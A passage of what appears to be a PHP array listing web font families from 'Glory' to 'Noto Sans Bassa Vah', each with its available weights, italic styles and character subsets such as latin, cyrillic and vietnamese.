      'Glory'=>[['100','200','300','normal','500','600','700','800','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Gluten'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Goblin One'=>[['normal'],['latin']],
      'Gochi Hand'=>[['normal'],['latin']],
      'Goldman'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Gorditas'=>[['normal','700'],['latin']],
      'Gothic A1'=>[['100','200','300','normal','500','600','700','800','900'],['korean','latin']],
      'Gotu'=>[['normal'],['devanagari','latin','latin-ext','vietnamese']],
      'Goudy Bookletter 1911'=>[['normal'],['latin']],
      'Gowun Batang'=>[['normal','700'],['korean','latin','latin-ext','vietnamese']],
      'Gowun Dodum'=>[['normal'],['korean','latin','latin-ext','vietnamese']],
      'Graduate'=>[['normal'],['latin']],
      'Grand Hotel'=>[['normal'],['latin','latin-ext']],
      'Grandstander'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Grape Nuts'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Gravitas One'=>[['normal'],['latin']],
      'Great Vibes'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Grechen Fuemen'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Grenze'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Grenze Gotisch'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Grey Qo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Griffy'=>[['normal'],['latin','latin-ext']],
      'Gruppo'=>[['normal'],['latin','latin-ext']],
      'Gudea'=>[['normal','italic','700'],['latin','latin-ext']],
      'Gugi'=>[['normal'],['korean','latin']],
      'Gulzar'=>[['normal'],['arabic','latin','latin-ext']],
      'Gupter'=>[['normal','500','700'],['latin']],
      'Gurajada'=>[['normal'],['latin','telugu']],
      'Gwendolyn'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Habibi'=>[['normal'],['latin','latin-ext']],
      'Hachi Maru Pop'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Hahmlet'=>[['100','200','300','normal','500','600','700','800','900'],['korean','latin','latin-ext','vietnamese']],
      'Halant'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Hammersmith One'=>[['normal'],['latin','latin-ext']],
      'Hanalei'=>[['normal'],['latin','latin-ext']],
      'Hanalei Fill'=>[['normal'],['latin','latin-ext']],
      'Handlee'=>[['normal'],['latin']],
      'Hanuman'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Happy Monkey'=>[['normal'],['latin','latin-ext']],
      'Harmattan'=>[['normal','700'],['arabic','latin','latin-ext']],
      'Headland One'=>[['normal'],['latin','latin-ext']],
      'Heebo'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin']],
      'Henny Penny'=>[['normal'],['latin']],
      'Hepta Slab'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Herr Von Muellerhoff'=>[['normal'],['latin','latin-ext']],
      'Hi Melody'=>[['normal'],['korean','latin']],
      'Hina Mincho'=>[['normal'],['cyrillic','japanese','latin','latin-ext','vietnamese']],
      'Hind'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Hind Guntur'=>[['300','normal','500','600','700'],['latin','latin-ext','telugu']],
      'Hind Madurai'=>[['300','normal','500','600','700'],['latin','latin-ext','tamil']],
      'Hind Siliguri'=>[['300','normal','500','600','700'],['bengali','latin','latin-ext']],
      'Hind Vadodara'=>[['300','normal','500','600','700'],['gujarati','latin','latin-ext']],
      'Holtwood One SC'=>[['normal'],['latin']],
      'Homemade Apple'=>[['normal'],['latin']],
      'Homenaje'=>[['normal'],['latin']],
      'Hubballi'=>[['normal'],['kannada','latin','latin-ext']],
      'Hurricane'=>[['normal'],['latin','latin-ext','vietnamese']],
      'IBM Plex Mono'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'IBM Plex Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'IBM Plex Sans Arabic'=>[['100','200','300','normal','500','600','700'],['arabic','cyrillic-ext','latin','latin-ext']],
      'IBM Plex Sans Condensed'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'IBM Plex Sans Devanagari'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','devanagari','latin','latin-ext']],
      'IBM Plex Sans Hebrew'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','hebrew','latin','latin-ext']],
      'IBM Plex Sans JP'=>[['100','200','300','normal','500','600','700'],['cyrillic','japanese','latin','latin-ext']],
      'IBM Plex Sans KR'=>[['100','200','300','normal','500','600','700'],['korean','latin','latin-ext']],
      'IBM Plex Sans Thai'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','latin','latin-ext','thai']],
      'IBM Plex Sans Thai Looped'=>[['100','200','300','normal','500','600','700'],['cyrillic-ext','latin','latin-ext','thai']],
      'IBM Plex Serif'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'IM Fell DW Pica'=>[['normal','italic'],['latin']],
      'IM Fell DW Pica SC'=>[['normal'],['latin']],
      'IM Fell Double Pica'=>[['normal','italic'],['latin']],
      'IM Fell Double Pica SC'=>[['normal'],['latin']],
      'IM Fell English'=>[['normal','italic'],['latin']],
      'IM Fell English SC'=>[['normal'],['latin']],
      'IM Fell French Canon'=>[['normal','italic'],['latin']],
      'IM Fell French Canon SC'=>[['normal'],['latin']],
      'IM Fell Great Primer'=>[['normal','italic'],['latin']],
      'IM Fell Great Primer SC'=>[['normal'],['latin']],
      'Ibarra Real Nova'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Iceberg'=>[['normal'],['latin']],
      'Iceland'=>[['normal'],['latin']],
      'Imbue'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Imperial Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Imprima'=>[['normal'],['latin','latin-ext']],
      'Inconsolata'=>[['200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Inder'=>[['normal'],['latin','latin-ext']],
      'Indie Flower'=>[['normal'],['latin']],
      'Ingrid Darling'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Inika'=>[['normal','700'],['latin','latin-ext']],
      'Inknut Antiqua'=>[['300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Inria Sans'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Inria Serif'=>[['300','300italic','normal','italic','700','700italic'],['latin','latin-ext']],
      'Inspiration'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Inter'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Inter Tight'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Irish Grover'=>[['normal'],['latin']],
      'Island Moments'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Istok Web'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Italiana'=>[['normal'],['latin']],
      'Italianno'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Itim'=>[['normal'],['latin','latin-ext','thai','vietnamese']],
      'Jacques Francois'=>[['normal'],['latin']],
      'Jacques Francois Shadow'=>[['normal'],['latin']],
      'Jaldi'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'JetBrains Mono'=>[['100','200','300','normal','500','600','700','800','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Jim Nightshade'=>[['normal'],['latin','latin-ext']],
      'Joan'=>[['normal'],['latin','latin-ext']],
      'Jockey One'=>[['normal'],['latin','latin-ext']],
      'Jolly Lodger'=>[['normal'],['latin','latin-ext']],
      'Jomhuria'=>[['normal'],['arabic','latin','latin-ext']],
      'Jomolhari'=>[['normal'],['latin','tibetan']],
      'Josefin Sans'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Josefin Slab'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['latin']],
      'Jost'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','latin','latin-ext']],
      'Joti One'=>[['normal'],['latin','latin-ext']],
      'Jua'=>[['normal'],['korean','latin']],
      'Judson'=>[['normal','italic','700'],['latin','latin-ext','vietnamese']],
      'Julee'=>[['normal'],['latin']],
      'Julius Sans One'=>[['normal'],['latin','latin-ext']],
      'Junge'=>[['normal'],['latin']],
      'Jura'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','greek','greek-ext','kayah-li','latin','latin-ext','vietnamese']],
      'Just Another Hand'=>[['normal'],['latin']],
      'Just Me Again Down Here'=>[['normal'],['latin','latin-ext']],
      'K2D'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext','thai','vietnamese']],
      'Kadwa'=>[['normal','700'],['devanagari','latin']],
      'Kaisei Decol'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei HarunoUmi'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei Opti'=>[['normal','500','700'],['cyrillic','japanese','latin','latin-ext']],
      'Kaisei Tokumin'=>[['normal','500','700','800'],['cyrillic','japanese','latin','latin-ext']],
      'Kalam'=>[['300','normal','700'],['devanagari','latin','latin-ext']],
      'Kameron'=>[['normal','700'],['latin']],
      'Kanit'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Kantumruy'=>[['300','normal','700'],['khmer']],
      'Kantumruy Pro'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['khmer','latin','latin-ext']],
      'Karantina'=>[['300','normal','700'],['hebrew','latin','latin-ext']],
      'Karla'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext']],
      'Karma'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Katibeh'=>[['normal'],['arabic','latin','latin-ext']],
      'Kaushan Script'=>[['normal'],['latin','latin-ext']],
      'Kavivanar'=>[['normal'],['latin','latin-ext','tamil']],
      'Kavoon'=>[['normal'],['latin','latin-ext']],
      'Kdam Thmor Pro'=>[['normal'],['khmer','latin','latin-ext']],
      'Keania One'=>[['normal'],['latin','latin-ext']],
      'Kelly Slab'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Kenia'=>[['normal'],['latin']],
      'Khand'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Khmer'=>[['normal'],['khmer']],
      'Khula'=>[['300','normal','600','700','800'],['devanagari','latin','latin-ext']],
      'Kings'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Kirang Haerang'=>[['normal'],['korean','latin']],
      'Kite One'=>[['normal'],['latin']],
      'Kiwi Maru'=>[['300','normal','500'],['cyrillic','japanese','latin','latin-ext']],
      'Klee One'=>[['normal','600'],['cyrillic','greek-ext','japanese','latin','latin-ext']],
      'Knewave'=>[['normal'],['latin','latin-ext']],
      'KoHo'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Kodchasan'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Koh Santepheap'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Kolker Brush'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Kosugi'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Kosugi Maru'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Kotta One'=>[['normal'],['latin','latin-ext']],
      'Koulen'=>[['normal'],['khmer','latin']],
      'Kranky'=>[['normal'],['latin']],
      'Kreon'=>[['300','normal','500','600','700'],['latin','latin-ext']],
      'Kristi'=>[['normal'],['latin']],
      'Krona One'=>[['normal'],['latin','latin-ext']],
      'Krub'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Kufam'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['arabic','latin','latin-ext','vietnamese']],
      'Kulim Park'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic'],['latin','latin-ext']],
      'Kumar One'=>[['normal'],['gujarati','latin','latin-ext']],
      'Kumar One Outline'=>[['normal'],['gujarati','latin','latin-ext']],
      'Kumbh Sans'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext']],
      'Kurale'=>[['normal'],['cyrillic','cyrillic-ext','devanagari','latin','latin-ext']],
      'La Belle Aurore'=>[['normal'],['latin']],
      'Lacquer'=>[['normal'],['latin']],
      'Laila'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Lakki Reddy'=>[['normal'],['latin','telugu']],
      'Lalezar'=>[['normal'],['arabic','latin','latin-ext','vietnamese']],
      'Lancelot'=>[['normal'],['latin','latin-ext']],
      'Langar'=>[['normal'],['gurmukhi','latin','latin-ext']],
      'Lateef'=>[['200','300','normal','500','600','700','800'],['arabic','latin','latin-ext']],
      'Lato'=>[['100','100italic','300','300italic','normal','italic','700','700italic','900','900italic'],['latin','latin-ext']],
      'Lavishly Yours'=>[['normal'],['latin','latin-ext','vietnamese']],
      'League Gothic'=>[['normal'],['latin','latin-ext','vietnamese']],
      'League Script'=>[['normal'],['latin']],
      'League Spartan'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Leckerli One'=>[['normal'],['latin']],
      'Ledger'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Lekton'=>[['normal','italic','700'],['latin','latin-ext']],
      'Lemon'=>[['normal'],['latin']],
      'Lemonada'=>[['300','normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Lexend'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Deca'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Exa'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Giga'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Mega'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Peta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Tera'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Lexend Zetta'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Libre Barcode 128'=>[['normal'],['latin']],
      'Libre Barcode 128 Text'=>[['normal'],['latin']],
      'Libre Barcode 39'=>[['normal'],['latin']],
      'Libre Barcode 39 Extended'=>[['normal'],['latin']],
      'Libre Barcode 39 Extended Text'=>[['normal'],['latin']],
      'Libre Barcode 39 Text'=>[['normal'],['latin']],
      'Libre Barcode EAN13 Text'=>[['normal'],['latin']],
      'Libre Baskerville'=>[['normal','italic','700'],['latin','latin-ext']],
      'Libre Bodoni'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Libre Caslon Display'=>[['normal'],['latin','latin-ext']],
      'Libre Caslon Text'=>[['normal','italic','700'],['latin','latin-ext']],
      'Libre Franklin'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Licorice'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Life Savers'=>[['normal','700','800'],['latin','latin-ext']],
      'Lilita One'=>[['normal'],['latin','latin-ext']],
      'Lily Script One'=>[['normal'],['latin','latin-ext']],
      'Limelight'=>[['normal'],['latin','latin-ext']],
      'Linden Hill'=>[['normal','italic'],['latin']],
      'Literata'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Liu Jian Mao Cao'=>[['normal'],['chinese-simplified','latin']],
      'Livvic'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','900','900italic'],['latin','latin-ext','vietnamese']],
      'Lobster'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Lobster Two'=>[['normal','italic','700','700italic'],['latin']],
      'Londrina Outline'=>[['normal'],['latin']],
      'Londrina Shadow'=>[['normal'],['latin']],
      'Londrina Sketch'=>[['normal'],['latin']],
      'Londrina Solid'=>[['100','300','normal','900'],['latin']],
      'Long Cang'=>[['normal'],['chinese-simplified','latin']],
      'Lora'=>[['normal','500','600','700','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Love Light'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Love Ya Like A Sister'=>[['normal'],['latin']],
      'Loved by the King'=>[['normal'],['latin']],
      'Lovers Quarrel'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Luckiest Guy'=>[['normal'],['latin']],
      'Lusitana'=>[['normal','700'],['latin']],
      'Lustria'=>[['normal'],['latin']],
      'Luxurious Roman'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Luxurious Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'M PLUS 1'=>[['100','200','300','normal','500','600','700','800','900'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS 1 Code'=>[['100','200','300','normal','500','600','700'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS 1p'=>[['100','300','normal','500','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','japanese','latin','latin-ext','vietnamese']],
      'M PLUS 2'=>[['100','200','300','normal','500','600','700','800','900'],['japanese','latin','latin-ext','vietnamese']],
      'M PLUS Code Latin'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'M PLUS Rounded 1c'=>[['100','300','normal','500','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','japanese','latin','latin-ext','vietnamese']],
      'Ma Shan Zheng'=>[['normal'],['chinese-simplified','latin']],
      'Macondo'=>[['normal'],['latin']],
      'Macondo Swash Caps'=>[['normal'],['latin']],
      'Mada'=>[['200','300','normal','500','600','700','900'],['arabic','latin']],
      'Magra'=>[['normal','700'],['latin','latin-ext']],
      'Maiden Orange'=>[['normal'],['latin']],
      'Maitree'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Major Mono Display'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mako'=>[['normal'],['latin']],
      'Mali'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Mallanna'=>[['normal'],['latin','telugu']],
      'Mandali'=>[['normal'],['latin','telugu']],
      'Manjari'=>[['100','normal','700'],['latin','latin-ext','malayalam']],
      'Manrope'=>[['200','300','normal','500','600','700','800'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Mansalva'=>[['normal'],['greek','latin','latin-ext','vietnamese']],
      'Manuale'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Marcellus'=>[['normal'],['latin','latin-ext']],
      'Marcellus SC'=>[['normal'],['latin','latin-ext']],
      'Marck Script'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Margarine'=>[['normal'],['latin','latin-ext']],
      'Marhey'=>[['300','normal','500','600','700'],['arabic','latin','latin-ext']],
      'Markazi Text'=>[['normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Marko One'=>[['normal'],['latin']],
      'Marmelad'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Martel'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Martel Sans'=>[['200','300','normal','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Marvel'=>[['normal','italic','700','700italic'],['latin']],
      'Mate'=>[['normal','italic'],['latin']],
      'Mate SC'=>[['normal'],['latin']],
      'Maven Pro'=>[['normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'McLaren'=>[['normal'],['latin','latin-ext']],
      'Mea Culpa'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Meddon'=>[['normal'],['latin']],
      'MedievalSharp'=>[['normal'],['latin','latin-ext']],
      'Medula One'=>[['normal'],['latin']],
      'Meera Inimai'=>[['normal'],['latin','tamil']],
      'Megrim'=>[['normal'],['latin']],
      'Meie Script'=>[['normal'],['latin','latin-ext']],
      'Meow Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Merienda'=>[['300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Merienda One'=>[['normal'],['latin']],
      'Merriweather'=>[['300','300italic','normal','italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Merriweather Sans'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Metal'=>[['normal'],['khmer','latin']],
      'Metal Mania'=>[['normal'],['latin','latin-ext']],
      'Metamorphous'=>[['normal'],['latin','latin-ext']],
      'Metrophobic'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Michroma'=>[['normal'],['latin']],
      'Milonga'=>[['normal'],['latin','latin-ext']],
      'Miltonian'=>[['normal'],['latin']],
      'Miltonian Tattoo'=>[['normal'],['latin']],
      'Mina'=>[['normal','700'],['bengali','latin','latin-ext']],
      'Mingzat'=>[['normal'],['latin','latin-ext','lepcha']],
      'Miniver'=>[['normal'],['latin']],
      'Miriam Libre'=>[['normal','700'],['hebrew','latin','latin-ext']],
      'Mirza'=>[['normal','500','600','700'],['arabic','latin','latin-ext']],
      'Miss Fajardose'=>[['normal'],['latin','latin-ext']],
      'Mitr'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Mochiy Pop One'=>[['normal'],['japanese','latin']],
      'Mochiy Pop P One'=>[['normal'],['japanese','latin']],
      'Modak'=>[['normal'],['devanagari','latin','latin-ext']],
      'Modern Antiqua'=>[['normal'],['latin','latin-ext']],
      'Mogra'=>[['normal'],['gujarati','latin','latin-ext']],
      'Mohave'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Molengo'=>[['normal'],['latin','latin-ext']],
      'Molle'=>[['italic'],['latin','latin-ext']],
      'Monda'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Monofett'=>[['normal'],['latin']],
      'Monoton'=>[['normal'],['latin']],
      'Monsieur La Doulaise'=>[['normal'],['latin','latin-ext']],
      'Montaga'=>[['normal'],['latin']],
      'Montagu Slab'=>[['100','200','300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'MonteCarlo'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Montez'=>[['normal'],['latin']],
      'Montserrat'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Montserrat Alternates'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Montserrat Subrayada'=>[['normal','700'],['latin']],
      'Moo Lah Lah'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Moon Dance'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Moul'=>[['normal'],['khmer','latin']],
      'Moulpali'=>[['normal'],['khmer','latin']],
      'Mountains of Christmas'=>[['normal','700'],['latin']],
      'Mouse Memoirs'=>[['normal'],['latin','latin-ext']],
      'Mr Bedfort'=>[['normal'],['latin','latin-ext']],
      'Mr Dafoe'=>[['normal'],['latin','latin-ext']],
      'Mr De Haviland'=>[['normal'],['latin','latin-ext']],
      'Mrs Saint Delafield'=>[['normal'],['latin','latin-ext']],
      'Mrs Sheppards'=>[['normal'],['latin','latin-ext']],
      'Ms Madi'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mukta'=>[['200','300','normal','500','600','700','800'],['devanagari','latin','latin-ext']],
      'Mukta Mahee'=>[['200','300','normal','500','600','700','800'],['gurmukhi','latin','latin-ext']],
      'Mukta Malar'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext','tamil']],
      'Mukta Vaani'=>[['200','300','normal','500','600','700','800'],['gujarati','latin','latin-ext']],
      'Mulish'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Murecho'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','japanese','latin','latin-ext']],
      'MuseoModerno'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'My Soul'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Mystery Quest'=>[['normal'],['latin','latin-ext']],
      'NTR'=>[['normal'],['latin','telugu']],
      'Nabla'=>[['normal'],['cyrillic-ext','latin','latin-ext','math','vietnamese']],
      'Nanum Brush Script'=>[['normal'],['korean','latin']],
      'Nanum Gothic'=>[['normal','700','800'],['korean','latin']],
      'Nanum Gothic Coding'=>[['normal','700'],['korean','latin']],
      'Nanum Myeongjo'=>[['normal','700','800'],['korean','latin']],
      'Nanum Pen Script'=>[['normal'],['korean','latin']],
      'Neonderthaw'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Nerko One'=>[['normal'],['latin','latin-ext']],
      'Neucha'=>[['normal'],['cyrillic','latin']],
      'Neuton'=>[['200','300','normal','italic','700','800'],['latin','latin-ext']],
      'New Rocker'=>[['normal'],['latin','latin-ext']],
      'New Tegomin'=>[['normal'],['japanese','latin','latin-ext']],
      'News Cycle'=>[['normal','700'],['latin','latin-ext']],
      'Newsreader'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['latin','latin-ext','vietnamese']],
      'Niconne'=>[['normal'],['latin','latin-ext']],
      'Niramit'=>[['200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic'],['latin','latin-ext','thai','vietnamese']],
      'Nixie One'=>[['normal'],['latin']],
      'Nobile'=>[['normal','italic','500','500italic','700','700italic'],['latin','latin-ext']],
      'Nokora'=>[['100','300','normal','700','900'],['khmer','latin']],
      'Norican'=>[['normal'],['latin','latin-ext']],
      'Nosifer'=>[['normal'],['latin','latin-ext']],
      'Notable'=>[['normal'],['latin']],
      'Nothing You Could Do'=>[['normal'],['latin']],
      'Noticia Text'=>[['normal','italic','700','700italic'],['latin','latin-ext','vietnamese']],
      'Noto Color Emoji'=>[['normal'],['emoji']],
      'Noto Emoji'=>[['300','normal','500','600','700'],['emoji']],
      'Noto Kufi Arabic'=>[['100','200','300','normal','500','600','700','800','900'],['arabic']],
      'Noto Music'=>[['normal'],['latin','latin-ext','music']],
      'Noto Naskh Arabic'=>[['normal','500','600','700'],['arabic']],
      'Noto Nastaliq Urdu'=>[['normal','500','600','700'],['arabic','latin','latin-ext']],
      'Noto Rashi Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Sans'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','devanagari','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Adlam'=>[['normal','500','600','700'],['adlam','latin','latin-ext']],
      'Noto Sans Adlam Unjoined'=>[['normal','500','600','700'],['adlam','latin','latin-ext']],
      'Noto Sans Anatolian Hieroglyphs'=>[['normal'],['anatolian-hieroglyphs']],
      'Noto Sans Arabic'=>[['100','200','300','normal','500','600','700','800','900'],['arabic']],
      'Noto Sans Armenian'=>[['100','200','300','normal','500','600','700','800','900'],['armenian','latin','latin-ext']],
      'Noto Sans Avestan'=>[['normal'],['avestan','latin','latin-ext']],
      'Noto Sans Balinese'=>[['normal','500','600','700'],['balinese','latin','latin-ext']],
      'Noto Sans Bamum'=>[['normal','500','600','700'],['bamum','latin','latin-ext']],
      'Noto Sans Bassa Vah'=>[['normal','500','600','700'],['bassa-vah','latin','latin-ext']],
